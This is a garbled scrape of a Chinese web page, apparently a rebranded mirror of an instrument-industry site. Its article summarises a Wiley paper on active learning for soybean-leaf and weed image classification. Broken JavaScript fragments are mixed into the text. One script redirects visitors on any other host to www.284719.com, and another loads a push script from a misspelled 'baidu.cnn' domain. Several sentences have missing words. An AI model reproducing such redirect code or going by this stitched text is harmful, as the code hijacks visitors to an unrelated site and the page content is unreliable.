else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 主动学习对基于图像的植物表型有何作用?_九五至尊网站 )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;,3990,4011,5421";

九五至尊网站

产品推荐:水表|流量计|压力变送器|热电偶|液位计|冷热冲击试验箱|水质分析|光谱仪|试验机|试验箱


九五至尊网站>技术中心>技术交流>正文

欢迎联系我

有什么可以帮您? 在线咨询
jQuery(document).ready(function () { var xwtkq = Vivian.GetCloseAppKfTalkToUserIDorCompanyID("","113842").value; if (xwtkq == "0") { jQuery("#Consultation").bind("contextmenu click",function () {ChangeTopHeight(0,786583,94067,113842); ); else{ jQuery("#Consultation").hide(); )

主动学习对基于图像的植物表型有何作用?

来源:武汉谷丰光电科技有限公司   2024年10月23日 09:27  
深度学习模型已经成功地应用于各种基于图像的植物表型应用,包括疾病检测和分类。然而,有监督的深度学习模型的成功部署需要大量的标记数据,由于固有的复杂性,这在植物科学(和大多数生物学)领域是一个重大挑战。具体来说,数据注释是昂贵的、费力的、耗时的,并且需要用于表型任务的领域专业知识,尤其是对于疾病。为了克服这一挑战,已经提出了主动学习算法来减少深度学习模型所需的标记量,以实现良好的预测性能。


在大豆叶子上收集的九类数据(八类应激数据和一类健康数据),其中包括个数据集

主动学习方法通过使用采集函数自适应地建议样本进行注释来工作,以在固定标记预算下实现(分类)性能。本文作者报告了四种不同的主动学习方法的性能,(1)深度贝叶斯主动学习(DBAL),(2)熵,(3)最小置信度,(4)核心集,基于传统的随机采样标注的两种不同的基于图像的分类数据集。



第二个数据集的九个类别包括八个杂草种类和一个无杂草类别(标记为阴性)。从与相关的公开数据集中获取的图像(Olsen et al., 2019)

个图像数据集由属于八种不同大豆胁迫和健康类别的大豆 [Glycine max L. (Merr.)] 叶子组成,第二个图像数据集由来自田间的九种不同杂草组成。对于固定的标记预算,作者观察到,对于两个数据集,使用基于主动学习的获取策略的深度学习模型的分类性能优于基于随机采样的获取。数据注释的主动学习策略的集成可以帮助减轻植物科学应用中的标签挑战,特别是在专用于注释的资源有限的情况下。

来源:Wiley Online Library.How useful is active learning for image-based plant phenotyping?
Koushik Nagasubramanian, Talukder Jubery,Fateme Fotouhi Ardakani, Seyed Vahid Mirnezami, Asheesh K Singh, Arti Singh, Soumik Sarkar, Baskar Ganapathysubramanian.
https://acsess.onlinelibrary.wiley.com/doi/10.1002/ppj2.20020
var regex = /(.*\:\/\/[^\/]*).*/; var match = url.match(regex); if(typeof match != "undefined" && null != match) { host = match[1]; return "" + host + "";

免责声明

  • 凡本网注明“来源:九五至尊网站”的所有作品,均为浙江兴旺宝明通网络有限公司-九五至尊网站合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:九五至尊网站”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非九五至尊网站)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
联系我们

客服热线: 13199863987(同微信)

加盟热线: 13199863987(同微信)

媒体合作: 0571-87759945

投诉热线: 0571-87759942

关注我们
  • 下载仪表站APP

  • Ybzhan手机版

  • Ybzhan公众号

  • Ybzhan小程序

温馨提示

该企业已关闭在线交流功能

);
document.write("")